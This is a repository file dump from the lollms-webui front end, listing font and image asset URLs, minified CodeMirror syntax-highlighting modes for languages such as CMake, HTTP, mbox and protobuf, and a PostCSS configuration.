https://raw.githubusercontent.com/ParisNeo/lollms-webui/7f94f941ac4c55520add2ac503a8d722a9588bf3/web/dist/assets/KaTeX_Main-Regular-ypZvNtVU.ttf -------------------------------------------------------------------------------- /web/dist/assets/KaTeX_Math-BoldItalic-B3XSjfu4.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ParisNeo/lollms-webui/7f94f941ac4c55520add2ac503a8d722a9588bf3/web/dist/assets/KaTeX_Math-BoldItalic-B3XSjfu4.ttf -------------------------------------------------------------------------------- /web/dist/assets/KaTeX_Math-BoldItalic-CZnvNsCZ.woff2: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ParisNeo/lollms-webui/7f94f941ac4c55520add2ac503a8d722a9588bf3/web/dist/assets/KaTeX_Math-BoldItalic-CZnvNsCZ.woff2 -------------------------------------------------------------------------------- /web/dist/assets/KaTeX_Math-BoldItalic-iY-2wyZ7.woff: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ParisNeo/lollms-webui/7f94f941ac4c55520add2ac503a8d722a9588bf3/web/dist/assets/KaTeX_Math-BoldItalic-iY-2wyZ7.woff -------------------------------------------------------------------------------- /web/dist/assets/KaTeX_Math-Italic-DA0__PXp.woff: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ParisNeo/lollms-webui/7f94f941ac4c55520add2ac503a8d722a9588bf3/web/dist/assets/KaTeX_Math-Italic-DA0__PXp.woff -------------------------------------------------------------------------------- /web/dist/assets/KaTeX_Math-Italic-flOr_0UB.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ParisNeo/lollms-webui/7f94f941ac4c55520add2ac503a8d722a9588bf3/web/dist/assets/KaTeX_Math-Italic-flOr_0UB.ttf -------------------------------------------------------------------------------- /web/dist/assets/KaTeX_Math-Italic-t53AETM-.woff2: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ParisNeo/lollms-webui/7f94f941ac4c55520add2ac503a8d722a9588bf3/web/dist/assets/KaTeX_Math-Italic-t53AETM-.woff2 -------------------------------------------------------------------------------- /web/dist/assets/KaTeX_SansSerif-Bold-CFMepnvq.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ParisNeo/lollms-webui/7f94f941ac4c55520add2ac503a8d722a9588bf3/web/dist/assets/KaTeX_SansSerif-Bold-CFMepnvq.ttf -------------------------------------------------------------------------------- /web/dist/assets/KaTeX_SansSerif-Bold-D1sUS0GD.woff2: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ParisNeo/lollms-webui/7f94f941ac4c55520add2ac503a8d722a9588bf3/web/dist/assets/KaTeX_SansSerif-Bold-D1sUS0GD.woff2 -------------------------------------------------------------------------------- /web/dist/assets/KaTeX_SansSerif-Bold-DbIhKOiC.woff: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ParisNeo/lollms-webui/7f94f941ac4c55520add2ac503a8d722a9588bf3/web/dist/assets/KaTeX_SansSerif-Bold-DbIhKOiC.woff -------------------------------------------------------------------------------- /web/dist/assets/KaTeX_SansSerif-Italic-C3H0VqGB.woff2: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ParisNeo/lollms-webui/7f94f941ac4c55520add2ac503a8d722a9588bf3/web/dist/assets/KaTeX_SansSerif-Italic-C3H0VqGB.woff2 -------------------------------------------------------------------------------- /web/dist/assets/KaTeX_SansSerif-Italic-DN2j7dab.woff: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ParisNeo/lollms-webui/7f94f941ac4c55520add2ac503a8d722a9588bf3/web/dist/assets/KaTeX_SansSerif-Italic-DN2j7dab.woff -------------------------------------------------------------------------------- /web/dist/assets/KaTeX_SansSerif-Italic-YYjJ1zSn.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ParisNeo/lollms-webui/7f94f941ac4c55520add2ac503a8d722a9588bf3/web/dist/assets/KaTeX_SansSerif-Italic-YYjJ1zSn.ttf -------------------------------------------------------------------------------- /web/dist/assets/KaTeX_SansSerif-Regular-BNo7hRIc.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ParisNeo/lollms-webui/7f94f941ac4c55520add2ac503a8d722a9588bf3/web/dist/assets/KaTeX_SansSerif-Regular-BNo7hRIc.ttf -------------------------------------------------------------------------------- /web/dist/assets/KaTeX_SansSerif-Regular-CS6fqUqJ.woff: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ParisNeo/lollms-webui/7f94f941ac4c55520add2ac503a8d722a9588bf3/web/dist/assets/KaTeX_SansSerif-Regular-CS6fqUqJ.woff -------------------------------------------------------------------------------- /web/dist/assets/KaTeX_SansSerif-Regular-DDBCnlJ7.woff2: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ParisNeo/lollms-webui/7f94f941ac4c55520add2ac503a8d722a9588bf3/web/dist/assets/KaTeX_SansSerif-Regular-DDBCnlJ7.woff2 -------------------------------------------------------------------------------- /web/dist/assets/KaTeX_Script-Regular-C5JkGWo-.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ParisNeo/lollms-webui/7f94f941ac4c55520add2ac503a8d722a9588bf3/web/dist/assets/KaTeX_Script-Regular-C5JkGWo-.ttf -------------------------------------------------------------------------------- /web/dist/assets/KaTeX_Script-Regular-D3wIWfF6.woff2: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ParisNeo/lollms-webui/7f94f941ac4c55520add2ac503a8d722a9588bf3/web/dist/assets/KaTeX_Script-Regular-D3wIWfF6.woff2 -------------------------------------------------------------------------------- /web/dist/assets/KaTeX_Script-Regular-D5yQViql.woff: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ParisNeo/lollms-webui/7f94f941ac4c55520add2ac503a8d722a9588bf3/web/dist/assets/KaTeX_Script-Regular-D5yQViql.woff -------------------------------------------------------------------------------- /web/dist/assets/KaTeX_Size1-Regular-C195tn64.woff: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ParisNeo/lollms-webui/7f94f941ac4c55520add2ac503a8d722a9588bf3/web/dist/assets/KaTeX_Size1-Regular-C195tn64.woff -------------------------------------------------------------------------------- /web/dist/assets/KaTeX_Size1-Regular-Dbsnue_I.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ParisNeo/lollms-webui/7f94f941ac4c55520add2ac503a8d722a9588bf3/web/dist/assets/KaTeX_Size1-Regular-Dbsnue_I.ttf -------------------------------------------------------------------------------- /web/dist/assets/KaTeX_Size1-Regular-mCD8mA8B.woff2: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ParisNeo/lollms-webui/7f94f941ac4c55520add2ac503a8d722a9588bf3/web/dist/assets/KaTeX_Size1-Regular-mCD8mA8B.woff2 -------------------------------------------------------------------------------- /web/dist/assets/KaTeX_Size2-Regular-B7gKUWhC.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ParisNeo/lollms-webui/7f94f941ac4c55520add2ac503a8d722a9588bf3/web/dist/assets/KaTeX_Size2-Regular-B7gKUWhC.ttf -------------------------------------------------------------------------------- /web/dist/assets/KaTeX_Size2-Regular-Dy4dx90m.woff2: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ParisNeo/lollms-webui/7f94f941ac4c55520add2ac503a8d722a9588bf3/web/dist/assets/KaTeX_Size2-Regular-Dy4dx90m.woff2 -------------------------------------------------------------------------------- /web/dist/assets/KaTeX_Size2-Regular-oD1tc_U0.woff: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ParisNeo/lollms-webui/7f94f941ac4c55520add2ac503a8d722a9588bf3/web/dist/assets/KaTeX_Size2-Regular-oD1tc_U0.woff -------------------------------------------------------------------------------- /web/dist/assets/KaTeX_Size3-Regular-CTq5MqoE.woff: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ParisNeo/lollms-webui/7f94f941ac4c55520add2ac503a8d722a9588bf3/web/dist/assets/KaTeX_Size3-Regular-CTq5MqoE.woff -------------------------------------------------------------------------------- /web/dist/assets/KaTeX_Size3-Regular-DgpXs0kz.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ParisNeo/lollms-webui/7f94f941ac4c55520add2ac503a8d722a9588bf3/web/dist/assets/KaTeX_Size3-Regular-DgpXs0kz.ttf -------------------------------------------------------------------------------- /web/dist/assets/KaTeX_Size4-Regular-BF-4gkZK.woff: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ParisNeo/lollms-webui/7f94f941ac4c55520add2ac503a8d722a9588bf3/web/dist/assets/KaTeX_Size4-Regular-BF-4gkZK.woff -------------------------------------------------------------------------------- /web/dist/assets/KaTeX_Size4-Regular-DWFBv043.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ParisNeo/lollms-webui/7f94f941ac4c55520add2ac503a8d722a9588bf3/web/dist/assets/KaTeX_Size4-Regular-DWFBv043.ttf -------------------------------------------------------------------------------- /web/dist/assets/KaTeX_Size4-Regular-Dl5lxZxV.woff2: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ParisNeo/lollms-webui/7f94f941ac4c55520add2ac503a8d722a9588bf3/web/dist/assets/KaTeX_Size4-Regular-Dl5lxZxV.woff2 -------------------------------------------------------------------------------- /web/dist/assets/KaTeX_Typewriter-Regular-C0xS9mPB.woff: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ParisNeo/lollms-webui/7f94f941ac4c55520add2ac503a8d722a9588bf3/web/dist/assets/KaTeX_Typewriter-Regular-C0xS9mPB.woff -------------------------------------------------------------------------------- /web/dist/assets/KaTeX_Typewriter-Regular-CO6r4hn1.woff2: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ParisNeo/lollms-webui/7f94f941ac4c55520add2ac503a8d722a9588bf3/web/dist/assets/KaTeX_Typewriter-Regular-CO6r4hn1.woff2 -------------------------------------------------------------------------------- /web/dist/assets/KaTeX_Typewriter-Regular-D3Ib7_Hf.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ParisNeo/lollms-webui/7f94f941ac4c55520add2ac503a8d722a9588bf3/web/dist/assets/KaTeX_Typewriter-Regular-D3Ib7_Hf.ttf -------------------------------------------------------------------------------- /web/dist/assets/LaTeX_block-BNFNi2yr.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ParisNeo/lollms-webui/7f94f941ac4c55520add2ac503a8d722a9588bf3/web/dist/assets/LaTeX_block-BNFNi2yr.png -------------------------------------------------------------------------------- /web/dist/assets/asciiarmor-Df11BRmG.js: -------------------------------------------------------------------------------- 1 | function t(e){var r=e.match(/^\s*\S/);return e.skipToEnd(),r?"error":null}const i={name:"asciiarmor",token:function(e,r){var n;if(r.state=="top")return e.sol()&&(n=e.match(/^-----BEGIN (.*)?-----\s*$/))?(r.state="headers",r.type=n[1],"tag"):t(e);if(r.state=="headers"){if(e.sol()&&e.match(/^\w+:/))return r.state="header","atom";var o=t(e);return o&&(r.state="body"),o}else{if(r.state=="header")return e.skipToEnd(),r.state="headers","string";if(r.state=="body")return e.sol()&&(n=e.match(/^-----END (.*)?-----\s*$/))?n[1]!=r.type?"error":(r.state="end","tag"):e.eatWhile(/[A-Za-z0-9+\/=]/)?null:(e.next(),"error");if(r.state=="end")return t(e)}},blankLine:function(e){e.state=="headers"&&(e.state="body")},startState:function(){return{state:"top",type:null}}};export{i as asciiArmor}; 2 | -------------------------------------------------------------------------------- /web/dist/assets/bash_block-DZNRrwlz.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ParisNeo/lollms-webui/7f94f941ac4c55520add2ac503a8d722a9588bf3/web/dist/assets/bash_block-DZNRrwlz.png -------------------------------------------------------------------------------- /web/dist/assets/brainfuck-C4LP7Hcl.js: -------------------------------------------------------------------------------- 1 | var f="><+-.,[]".split("");const r={name:"brainfuck",startState:function(){return{commentLine:!1,left:0,right:0,commentLoop:!1}},token:function(i,n){if(i.eatSpace())return null;i.sol()&&(n.commentLine=!1);var e=i.next().toString();if(f.indexOf(e)!==-1){if(n.commentLine===!0)return i.eol()&&(n.commentLine=!1),"comment";if(e==="]"||e==="[")return e==="["?n.left++:n.right++,"bracket";if(e==="+"||e==="-")return"keyword";if(e==="<"||e===">")return"atom";if(e==="."||e===",")return"def"}else return n.commentLine=!0,i.eol()&&(n.commentLine=!1),"comment";i.eol()&&(n.commentLine=!1)}};export{r as brainfuck}; 2 | -------------------------------------------------------------------------------- /web/dist/assets/cmake-BQqOBYOt.js: -------------------------------------------------------------------------------- 1 | var c=/({)?[a-zA-Z0-9_]+(})?/;function t(n,i){for(var e,r,u=!1;!n.eol()&&(e=n.next())!=i.pending;){if(e==="$"&&r!="\\"&&i.pending=='"'){u=!0;break}r=e}return u&&n.backUp(1),e==i.pending?i.continueString=!1:i.continueString=!0,"string"}function f(n,i){var e=n.next();return e==="$"?n.match(c)?"variableName.special":"variable":i.continueString?(n.backUp(1),t(n,i)):n.match(/(\s+)?\w+\(/)||n.match(/(\s+)?\w+\ \(/)?(n.backUp(1),"def"):e=="#"?(n.skipToEnd(),"comment"):e=="'"||e=='"'?(i.pending=e,t(n,i)):e=="("||e==")"?"bracket":e.match(/[0-9]/)?"number":(n.eatWhile(/[\w-]/),null)}const a={name:"cmake",startState:function(){var n={};return n.inDefinition=!1,n.inInclude=!1,n.continueString=!1,n.pending=!1,n},token:function(n,i){return n.eatSpace()?null:f(n,i)}};export{a as cmake}; 2 | -------------------------------------------------------------------------------- /web/dist/assets/cpp_block-kkmuBJ_E.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ParisNeo/lollms-webui/7f94f941ac4c55520add2ac503a8d722a9588bf3/web/dist/assets/cpp_block-kkmuBJ_E.png -------------------------------------------------------------------------------- /web/dist/assets/default_function-CyfcuNmo.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ParisNeo/lollms-webui/7f94f941ac4c55520add2ac503a8d722a9588bf3/web/dist/assets/default_function-CyfcuNmo.png -------------------------------------------------------------------------------- /web/dist/assets/default_model-6TyToX4A.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ParisNeo/lollms-webui/7f94f941ac4c55520add2ac503a8d722a9588bf3/web/dist/assets/default_model-6TyToX4A.png -------------------------------------------------------------------------------- /web/dist/assets/diff-DbItnlRl.js: -------------------------------------------------------------------------------- 1 | var o={"+":"inserted","-":"deleted","@":"meta"};const r={name:"diff",token:function(n){var e=n.string.search(/[\t ]+?$/);if(!n.sol()||e===0)return n.skipToEnd(),("error "+(o[n.string.charAt(0)]||"")).replace(/ $/,"");var i=o[n.peek()]||n.skipToEnd();return e===-1?n.skipToEnd():n.pos=e,i}};export{r as diff}; 2 | -------------------------------------------------------------------------------- /web/dist/assets/factor-BPndPnYX.js: -------------------------------------------------------------------------------- 1 | import{s as e}from"./simple-mode-CKxFYdZi.js";const n=e({start:[{regex:/#?!.*/,token:"comment"},{regex:/"""/,token:"string",next:"string3"},{regex:/(STRING:)(\s)/,token:["keyword",null],next:"string2"},{regex:/\S*?"/,token:"string",next:"string"},{regex:/(?:0x[\d,a-f]+)|(?:0o[0-7]+)|(?:0b[0,1]+)|(?:\-?\d+.?\d*)(?=\s)/,token:"number"},{regex:/((?:GENERIC)|\:?\:)(\s+)(\S+)(\s+)(\()/,token:["keyword",null,"def",null,"bracket"],next:"stack"},{regex:/(M\:)(\s+)(\S+)(\s+)(\S+)/,token:["keyword",null,"def",null,"tag"]},{regex:/USING\:/,token:"keyword",next:"vocabulary"},{regex:/(USE\:|IN\:)(\s+)(\S+)(?=\s|$)/,token:["keyword",null,"tag"]},{regex:/(\S+\:)(\s+)(\S+)(?=\s|$)/,token:["keyword",null,"def"]},{regex:/(?:;|\\|t|f|if|loop|while|until|do|PRIVATE>|\.\*\?]+(?=\s|$)/,token:"builtin"},{regex:/[\)><]+\S+(?=\s|$)/,token:"builtin"},{regex:/(?:[\+\-\=\/\*<>])(?=\s|$)/,token:"keyword"},{regex:/\S+/,token:"variable"},{regex:/\s+|./,token:null}],vocabulary:[{regex:/;/,token:"keyword",next:"start"},{regex:/\S+/,token:"tag"},{regex:/\s+|./,token:null}],string:[{regex:/(?:[^\\]|\\.)*?"/,token:"string",next:"start"},{regex:/.*/,token:"string"}],string2:[{regex:/^;/,token:"keyword",next:"start"},{regex:/.*/,token:"string"}],string3:[{regex:/(?:[^\\]|\\.)*?"""/,token:"string",next:"start"},{regex:/.*/,token:"string"}],stack:[{regex:/\)/,token:"bracket",next:"start"},{regex:/--/,token:"bracket"},{regex:/\S+/,token:"meta"},{regex:/\s+|./,token:null}],languageData:{name:"factor",dontIndentStates:["start","vocabulary","string","string3","stack"],commentTokens:{line:"!"}}});export{n as factor}; 2 | -------------------------------------------------------------------------------- /web/dist/assets/functioncall-Cm2fTSgb.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ParisNeo/lollms-webui/7f94f941ac4c55520add2ac503a8d722a9588bf3/web/dist/assets/functioncall-Cm2fTSgb.png -------------------------------------------------------------------------------- /web/dist/assets/html5_block-beC_-Wtz.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ParisNeo/lollms-webui/7f94f941ac4c55520add2ac503a8d722a9588bf3/web/dist/assets/html5_block-beC_-Wtz.png -------------------------------------------------------------------------------- /web/dist/assets/http-DBlCnlav.js: -------------------------------------------------------------------------------- 1 | function u(r,n){return r.skipToEnd(),n.cur=t,"error"}function i(r,n){return r.match(/^HTTP\/\d\.\d/)?(n.cur=f,"keyword"):r.match(/^[A-Z]+/)&&/[ \t]/.test(r.peek())?(n.cur=d,"keyword"):u(r,n)}function f(r,n){var e=r.match(/^\d+/);if(!e)return u(r,n);n.cur=l;var o=Number(e[0]);return o>=100&&o<400?"atom":"error"}function l(r,n){return r.skipToEnd(),n.cur=t,null}function d(r,n){return r.eatWhile(/\S/),n.cur=s,"string.special"}function s(r,n){return r.match(/^HTTP\/\d\.\d$/)?(n.cur=t,"keyword"):u(r,n)}function t(r){return r.sol()&&!r.eat(/[ \t]/)?r.match(/^.*?:/)?"atom":(r.skipToEnd(),"error"):(r.skipToEnd(),"string")}function c(r){return r.skipToEnd(),null}const p={name:"http",token:function(r,n){var e=n.cur;return e!=t&&e!=c&&r.eatSpace()?null:e(r,n)},blankLine:function(r){r.cur=c},startState:function(){return{cur:i}}};export{p as http}; 2 | -------------------------------------------------------------------------------- /web/dist/assets/logo-BEzyxJ6i.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ParisNeo/lollms-webui/7f94f941ac4c55520add2ac503a8d722a9588bf3/web/dist/assets/logo-BEzyxJ6i.png -------------------------------------------------------------------------------- /web/dist/assets/mbox-CNhZ1qSd.js: -------------------------------------------------------------------------------- 1 | var o=["From","Sender","Reply-To","To","Cc","Bcc","Message-ID","In-Reply-To","References","Resent-From","Resent-Sender","Resent-To","Resent-Cc","Resent-Bcc","Resent-Message-ID","Return-Path","Received"],l=["Date","Subject","Comments","Keywords","Resent-Date"],u=/^[ \t]/,d=/^From /,f=new RegExp("^("+o.join("|")+"): "),c=new RegExp("^("+l.join("|")+"): "),t=/^[^:]+:/,m=/^[^ ]+@[^ ]+/,p=/^.*?(?=[^ ]+?@[^ ]+)/,H=/^<.*?>/,v=/^.*?(?=<.*>)/;function h(e){return e==="Subject"?"header":"string"}function R(e,r){if(e.sol()){if(r.inSeparator=!1,r.inHeader&&e.match(u))return null;if(r.inHeader=!1,r.header=null,e.match(d))return r.inHeaders=!0,r.inSeparator=!0,"atom";var n,i=!1;return(n=e.match(c))||(i=!0)&&(n=e.match(f))?(r.inHeaders=!0,r.inHeader=!0,r.emailPermitted=i,r.header=n[1],"atom"):r.inHeaders&&(n=e.match(t))?(r.inHeader=!0,r.emailPermitted=!0,r.header=n[1],"atom"):(r.inHeaders=!1,e.skipToEnd(),null)}if(r.inSeparator)return e.match(m)?"link":(e.match(p)||e.skipToEnd(),"atom");if(r.inHeader){var a=h(r.header);if(r.emailPermitted){if(e.match(H))return a+" link";if(e.match(v))return a}return e.skipToEnd(),a}return e.skipToEnd(),null}const k={name:"mbox",startState:function(){return{inSeparator:!1,inHeader:!1,emailPermitted:!1,header:null,inHeaders:!1}},token:R,blankLine:function(e){e.inHeaders=e.inSeparator=e.inHeader=!1},languageData:{autocomplete:o.concat(l)}};export{k as mbox}; 2 | -------------------------------------------------------------------------------- /web/dist/assets/properties-C78fOPTZ.js: -------------------------------------------------------------------------------- 1 | const f={name:"properties",token:function(e,i){var o=e.sol()||i.afterSection,l=e.eol();if(i.afterSection=!1,o&&(i.nextMultiline?(i.inMultiline=!0,i.nextMultiline=!1):i.position="def"),l&&!i.nextMultiline&&(i.inMultiline=!1,i.position="def"),o)for(;e.eatSpace(););var n=e.next();return o&&(n==="#"||n==="!"||n===";")?(i.position="comment",e.skipToEnd(),"comment"):o&&n==="["?(i.afterSection=!0,e.skipTo("]"),e.eat("]"),"header"):n==="="||n===":"?(i.position="quote",null):(n==="\\"&&i.position==="quote"&&e.eol()&&(i.nextMultiline=!0),i.position)},startState:function(){return{position:"def",nextMultiline:!1,inMultiline:!1,afterSection:!1}}};export{f as properties}; 2 | -------------------------------------------------------------------------------- /web/dist/assets/protobuf-ChK-085T.js: -------------------------------------------------------------------------------- 1 | function t(e){return new RegExp("^(("+e.join(")|(")+"))\\b","i")}var n=["package","message","import","syntax","required","optional","repeated","reserved","default","extensions","packed","bool","bytes","double","enum","float","string","int32","int64","uint32","uint64","sint32","sint64","fixed32","fixed64","sfixed32","sfixed64","option","service","rpc","returns"],r=t(n),i=new RegExp("^[_A-Za-z¡-￿][_A-Za-z0-9¡-￿]*");function f(e){return e.eatSpace()?null:e.match("//")?(e.skipToEnd(),"comment"):e.match(/^[0-9\.+-]/,!1)&&(e.match(/^[+-]?0x[0-9a-fA-F]+/)||e.match(/^[+-]?\d*\.\d+([EeDd][+-]?\d+)?/)||e.match(/^[+-]?\d+([EeDd][+-]?\d+)?/))?"number":e.match(/^"([^"]|(""))*"/)||e.match(/^'([^']|(''))*'/)?"string":e.match(r)?"keyword":e.match(i)?"variable":(e.next(),null)}const u={name:"protobuf",token:f,languageData:{autocomplete:n}};export{u as protobuf}; 2 | -------------------------------------------------------------------------------- /web/dist/assets/python_block-Bt12VGEE.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ParisNeo/lollms-webui/7f94f941ac4c55520add2ac503a8d722a9588bf3/web/dist/assets/python_block-Bt12VGEE.png -------------------------------------------------------------------------------- /web/dist/assets/rpm-CTu-6PCP.js: -------------------------------------------------------------------------------- 1 | var o=/^-+$/,a=/^(Mon|Tue|Wed|Thu|Fri|Sat|Sun) (Jan|Feb|Mar|Apr|May|Jun|Jul|Aug|Sep|Oct|Nov|Dec) ?\d{1,2} \d{2}:\d{2}(:\d{2})? [A-Z]{3,4} \d{4} - /,c=/^[\w+.-]+@[\w.-]+/;const h={name:"rpmchanges",token:function(r){return r.sol()&&(r.match(o)||r.match(a))?"tag":r.match(c)?"string":(r.next(),null)}};var i=/^(i386|i586|i686|x86_64|ppc64le|ppc64|ppc|ia64|s390x|s390|sparc64|sparcv9|sparc|noarch|alphaev6|alpha|hppa|mipsel)/,t=/^[a-zA-Z0-9()]+:/,l=/^%(debug_package|package|description|prep|build|install|files|clean|changelog|preinstall|preun|postinstall|postun|pretrans|posttrans|pre|post|triggerin|triggerun|verifyscript|check|triggerpostun|triggerprein|trigger)/,p=/^%(ifnarch|ifarch|if)/,f=/^%(else|endif)/,u=/^(\!|\?|\<\=|\<|\>\=|\>|\=\=|\&\&|\|\|)/;const d={name:"rpmspec",startState:function(){return{controlFlow:!1,macroParameters:!1,section:!1}},token:function(r,e){var n=r.peek();if(n=="#")return r.skipToEnd(),"comment";if(r.sol()){if(r.match(t))return"header";if(r.match(l))return"atom"}if(r.match(/^\$\w+/)||r.match(/^\$\{\w+\}/))return"def";if(r.match(f))return"keyword";if(r.match(p))return e.controlFlow=!0,"keyword";if(e.controlFlow){if(r.match(u))return"operator";if(r.match(/^(\d+)/))return"number";r.eol()&&(e.controlFlow=!1)}if(r.match(i))return r.eol()&&(e.controlFlow=!1),"number";if(r.match(/^%[\w]+/))return r.match("(")&&(e.macroParameters=!0),"keyword";if(e.macroParameters){if(r.match(/^\d+/))return"number";if(r.match(")"))return e.macroParameters=!1,"keyword"}return r.match(/^%\{\??[\w \-\:\!]+\}/)?(r.eol()&&(e.controlFlow=!1),"def"):(r.next(),null)}};export{h as rpmChanges,d as rpmSpec}; 2 | -------------------------------------------------------------------------------- /web/dist/assets/sieve-C3Gn_uJK.js: -------------------------------------------------------------------------------- 1 | function l(n){for(var e={},i=n.split(" "),r=0;r 2 | 3 | 4 | 5 | 6 | 7 | 8 | LoLLMS WebUI 9 | 10 | 11 | 12 | 13 |
14 | 15 | 16 | -------------------------------------------------------------------------------- /web/dist/movie.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ParisNeo/lollms-webui/7f94f941ac4c55520add2ac503a8d722a9588bf3/web/dist/movie.png -------------------------------------------------------------------------------- /web/dist/music.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ParisNeo/lollms-webui/7f94f941ac4c55520add2ac503a8d722a9588bf3/web/dist/music.png -------------------------------------------------------------------------------- /web/dist/play_video.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ParisNeo/lollms-webui/7f94f941ac4c55520add2ac503a8d722a9588bf3/web/dist/play_video.png -------------------------------------------------------------------------------- /web/dist/podcast.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ParisNeo/lollms-webui/7f94f941ac4c55520add2ac503a8d722a9588bf3/web/dist/podcast.png -------------------------------------------------------------------------------- /web/dist/rebooting.wav: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ParisNeo/lollms-webui/7f94f941ac4c55520add2ac503a8d722a9588bf3/web/dist/rebooting.wav -------------------------------------------------------------------------------- /web/dist/tutorial.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ParisNeo/lollms-webui/7f94f941ac4c55520add2ac503a8d722a9588bf3/web/dist/tutorial.png -------------------------------------------------------------------------------- /web/index.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | LoLLMS WebUI 9 | 10 | 11 |
12 | 13 | 14 | 15 | -------------------------------------------------------------------------------- /web/postcss.config.js: -------------------------------------------------------------------------------- 1 | module.exports = { 2 | plugins: { 3 | 'postcss-import': {}, 4 | 'tailwindcss/nesting': {}, 5 | tailwindcss: {}, 6 | autoprefixer: {}, 7 | }, 8 | } 9 | -------------------------------------------------------------------------------- /web/public/chime_aud.wav: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ParisNeo/lollms-webui/7f94f941ac4c55520add2ac503a8d722a9588bf3/web/public/chime_aud.wav -------------------------------------------------------------------------------- /web/public/connection_lost.wav: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ParisNeo/lollms-webui/7f94f941ac4c55520add2ac503a8d722a9588bf3/web/public/connection_lost.wav -------------------------------------------------------------------------------- /web/public/connection_recovered.wav: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ParisNeo/lollms-webui/7f94f941ac4c55520add2ac503a8d722a9588bf3/web/public/connection_recovered.wav -------------------------------------------------------------------------------- /web/public/favicon.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ParisNeo/lollms-webui/7f94f941ac4c55520add2ac503a8d722a9588bf3/web/public/favicon.ico -------------------------------------------------------------------------------- /web/public/fonts/PTSans/PTSans-Bold.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ParisNeo/lollms-webui/7f94f941ac4c55520add2ac503a8d722a9588bf3/web/public/fonts/PTSans/PTSans-Bold.ttf -------------------------------------------------------------------------------- /web/public/fonts/PTSans/PTSans-BoldItalic.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ParisNeo/lollms-webui/7f94f941ac4c55520add2ac503a8d722a9588bf3/web/public/fonts/PTSans/PTSans-BoldItalic.ttf -------------------------------------------------------------------------------- /web/public/fonts/PTSans/PTSans-Italic.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ParisNeo/lollms-webui/7f94f941ac4c55520add2ac503a8d722a9588bf3/web/public/fonts/PTSans/PTSans-Italic.ttf -------------------------------------------------------------------------------- /web/public/fonts/PTSans/PTSans-Regular.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ParisNeo/lollms-webui/7f94f941ac4c55520add2ac503a8d722a9588bf3/web/public/fonts/PTSans/PTSans-Regular.ttf -------------------------------------------------------------------------------- /web/public/fonts/Roboto/Roboto-Black.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ParisNeo/lollms-webui/7f94f941ac4c55520add2ac503a8d722a9588bf3/web/public/fonts/Roboto/Roboto-Black.ttf -------------------------------------------------------------------------------- /web/public/fonts/Roboto/Roboto-BlackItalic.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ParisNeo/lollms-webui/7f94f941ac4c55520add2ac503a8d722a9588bf3/web/public/fonts/Roboto/Roboto-BlackItalic.ttf -------------------------------------------------------------------------------- /web/public/fonts/Roboto/Roboto-Bold.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ParisNeo/lollms-webui/7f94f941ac4c55520add2ac503a8d722a9588bf3/web/public/fonts/Roboto/Roboto-Bold.ttf -------------------------------------------------------------------------------- /web/public/fonts/Roboto/Roboto-BoldItalic.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ParisNeo/lollms-webui/7f94f941ac4c55520add2ac503a8d722a9588bf3/web/public/fonts/Roboto/Roboto-BoldItalic.ttf -------------------------------------------------------------------------------- /web/public/fonts/Roboto/Roboto-Italic.ttf: -------------------------------------------------------------------------------- 